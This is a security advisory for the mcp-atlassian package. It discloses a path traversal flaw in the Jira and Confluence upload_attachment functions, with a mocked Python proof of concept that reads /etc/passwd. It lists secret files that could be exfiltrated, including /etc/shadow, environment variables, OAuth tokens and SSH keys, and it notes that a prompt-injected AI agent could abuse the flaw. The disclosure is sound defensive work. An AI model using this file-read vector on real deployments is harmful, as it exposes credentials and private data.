GHSA-MFV2-4WVM-9PGP
Vulnerability from github – Published: 2026-09-22 20:35 – Updated: 2026-09-22 20:35Summary
The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.
Details
Affected functions:
| File | Function | Line |
|---|---|---|
src/mcp_atlassian/jira/attachments.py |
upload_attachment() |
~372–415 |
src/mcp_atlassian/confluence/attachments.py |
upload_attachment() |
~62–108 |
src/mcp_atlassian/confluence/attachments.py |
_upload_attachment_direct() |
~476–477 |
Jira — vulnerable code path (jira/attachments.py):
def upload_attachment(self, issue_key: str, file_path: str) -> dict:
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path) # resolves relative paths
if not os.path.exists(file_path): # confirms file exists
...
# ⚠ validate_safe_path() is NEVER called here
filename = os.path.basename(file_path)
with open(file_path, "rb") as file: # arbitrary file opened
attachment = self.jira.add_attachment(
issue_key=issue_key, filename=file_path
)
Compare with the protected download path in the same file:
def download_attachment(self, url: str, target_path: str) -> bool:
...
validate_safe_path(target_path) # upload has no equivalent
Confluence — vulnerable code path (confluence/attachments.py):
def upload_attachment(self, content_id, file_path, ...):
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path)
# ⚠ validate_safe_path() is NEVER called
filename = os.path.basename(file_path)
attachment = self._upload_attachment_direct(
content_id, file_path, filename, comment, minor_edit
)
# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened
PoC
Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (poc_001_jira_path_traversal.py):
import sys, os, types
from unittest.mock import MagicMock
sys.path.insert(0, "src")
def _make_pkg(name):
m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m
atlassian_pkg = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
"__init__": lambda s, *a, **k: None,
"_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None
from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
username="x", api_token="x")
class FakeFetcher(AttachmentsMixin):
def __init__(self):
self.config = config
self.jira = MagicMock()
self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}
result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)
Observed output — Jira (Kali Linux, v0.21.1):
[*] Target file : /etc/passwd
[*] Calling : AttachmentsMixin.upload_attachment()
[*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — file opened with no path validation
add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd')
Observed output — Confluence (Kali Linux, v0.21.1):
[*] Target file : /etc/passwd
[*] Calling : ConfluenceAttachmentsMixin.upload_attachment()
[*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — /etc/passwd opened without validate_safe_path()
upload_attachment() → _upload_attachment_direct() → open(file_path)
download_attachment() in same file IS protected — asymmetric fix
Key evidence:
- success: True — no exception raised, no path validation triggered
- size: 3388 — /etc/passwd was opened and read by os.path.getsize()
- Both modules affected independently — neither Jira nor Confluence has an upload-side guard
In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.
Impact
Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:
/etc/shadow— system password hashes/proc/self/environ— process environment variables (API keys, secrets)~/.mcp-atlassian/oauth-*.json— stored OAuth refresh tokens- SSH private keys, TLS certificates, application configuration files
No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jira_upload_attachment and confluence_upload_attachment MCP tools are affected.
Root cause: The validate_safe_path() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to download operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77266"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:35:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file\u0027s contents to the remote Atlassian instance as an attachment.\n\nThis is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules.\n\n---\n\n### Details\n\n**Affected functions:**\n\n| File | Function | Line |\n|------|----------|------|\n| `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372\u2013415 |\n| `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62\u2013108 |\n| `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476\u2013477 |\n\n**Jira \u2014 vulnerable code path (`jira/attachments.py`):**\n\n```python\ndef upload_attachment(self, issue_key: str, file_path: str) -\u003e dict:\n ...\n if not os.path.isabs(file_path):\n file_path = os.path.abspath(file_path) # resolves relative paths\n\n if not os.path.exists(file_path): # confirms file exists\n ...\n\n # \u26a0 validate_safe_path() is NEVER called here\n filename = os.path.basename(file_path)\n with open(file_path, \"rb\") as file: # arbitrary file opened\n attachment = self.jira.add_attachment(\n issue_key=issue_key, filename=file_path\n )\n```\n\nCompare with the **protected** download path in the same file:\n\n```python\ndef download_attachment(self, url: str, target_path: str) -\u003e bool:\n ...\n validate_safe_path(target_path) # upload has no equivalent\n```\n\n**Confluence \u2014 vulnerable code path (`confluence/attachments.py`):**\n\n```python\ndef upload_attachment(self, content_id, file_path, ...):\n ...\n if not os.path.isabs(file_path):\n file_path = os.path.abspath(file_path)\n\n # \u26a0 validate_safe_path() is NEVER called\n filename = os.path.basename(file_path)\n attachment = self._upload_attachment_direct(\n content_id, file_path, filename, comment, minor_edit\n )\n\n# Inside _upload_attachment_direct():\nfiles = {\"file\": (filename, open(file_path, \"rb\"))} # \u2190 arbitrary file opened\n```\n\n---\n\n### PoC\n\nTested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required \u2014 the API call is stubbed.\n\n**Jira PoC (`poc_001_jira_path_traversal.py`):**\n\n```python\nimport sys, os, types\nfrom unittest.mock import MagicMock\n\nsys.path.insert(0, \"src\")\n\ndef _make_pkg(name):\n m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m\n\natlassian_pkg = _make_pkg(\"atlassian\")\natlassian_jira = _make_pkg(\"atlassian.jira\")\natlassian_pkg.jira = atlassian_jira\natlassian_jira.Jira = type(\"Jira\", (), {\n \"__init__\": lambda s, *a, **k: None,\n \"_session\": MagicMock()\n})\natlassian_pkg.Jira = atlassian_jira.Jira\nkeyring = _make_pkg(\"keyring\")\nkeyring.get_password = keyring.set_password = lambda *a, **k: None\n\nfrom mcp_atlassian.jira.attachments import AttachmentsMixin\nfrom mcp_atlassian.jira.config import JiraConfig\n\nconfig = JiraConfig(url=\"https://test.atlassian.net\", auth_type=\"basic\",\n username=\"x\", api_token=\"x\")\n\nclass FakeFetcher(AttachmentsMixin):\n def __init__(self):\n self.config = config\n self.jira = MagicMock()\n self.jira.add_attachment.return_value = {\"id\": \"99\", \"filename\": \"passwd\"}\n\nresult = FakeFetcher().upload_attachment(issue_key=\"TEST-1\", file_path=\"/etc/passwd\")\nprint(result)\n```\n\n**Observed output \u2014 Jira (Kali Linux, v0.21.1):**\n\n\u003cimg width=\"1342\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc\" /\u003e\n\n```\n[*] Target file : /etc/passwd\n[*] Calling : AttachmentsMixin.upload_attachment()\n\n[*] Return value: {\u0027success\u0027: True, \u0027issue_key\u0027: \u0027TEST-1\u0027, \u0027filename\u0027: \u0027passwd\u0027, \u0027size\u0027: 3388, \u0027id\u0027: \u002799\u0027}\n[*] Files opened: [\u0027/etc/passwd\u0027]\n\n[!!!] VULNERABLE \u2014 file opened with no path validation\n add_attachment call args: call(issue_key=\u0027TEST-1\u0027, filename=\u0027/etc/passwd\u0027)\n```\n\n**Observed output \u2014 Confluence (Kali Linux, v0.21.1):**\n\n\u003cimg width=\"2682\" height=\"576\" alt=\"image\" src=\"https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004\" /\u003e\n\n```\n[*] Target file : /etc/passwd\n[*] Calling : ConfluenceAttachmentsMixin.upload_attachment()\n\n[*] Return value: {\u0027success\u0027: True, \u0027content_id\u0027: \u0027123456\u0027, \u0027filename\u0027: \u0027passwd\u0027, \u0027size\u0027: 3388, \u0027id\u0027: \u0027att-99\u0027}\n[*] Files opened: [\u0027/etc/passwd\u0027]\n\n[!!!] VULNERABLE \u2014 /etc/passwd opened without validate_safe_path()\n upload_attachment() \u2192 _upload_attachment_direct() \u2192 open(file_path)\n download_attachment() in same file IS protected \u2014 asymmetric fix\n```\n\nKey evidence:\n- `success: True` \u2014 no exception raised, no path validation triggered\n- `size: 3388` \u2014 `/etc/passwd` was opened and read by `os.path.getsize()`\n- Both modules affected independently \u2014 neither Jira nor Confluence has an upload-side guard\n\nIn a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.\n\n---\n\n### Impact\n\nAny authenticated MCP client \u2014 including a compromised AI agent, a prompt-injected session, or a malicious plugin \u2014 can read and exfiltrate arbitrary files readable by the server process:\n\n- `/etc/shadow` \u2014 system password hashes\n- `/proc/self/environ` \u2014 process environment variables (API keys, secrets)\n- `~/.mcp-atlassian/oauth-*.json` \u2014 stored OAuth refresh tokens\n- SSH private keys, TLS certificates, application configuration files\n\nNo special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected.\n\n**Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.",
"id": "GHSA-mfv2-4wvm-9pgp",
"modified": "2026-09-22T20:35:06Z",
"published": "2026-09-22T20:35:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mfv2-4wvm-9pgp"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.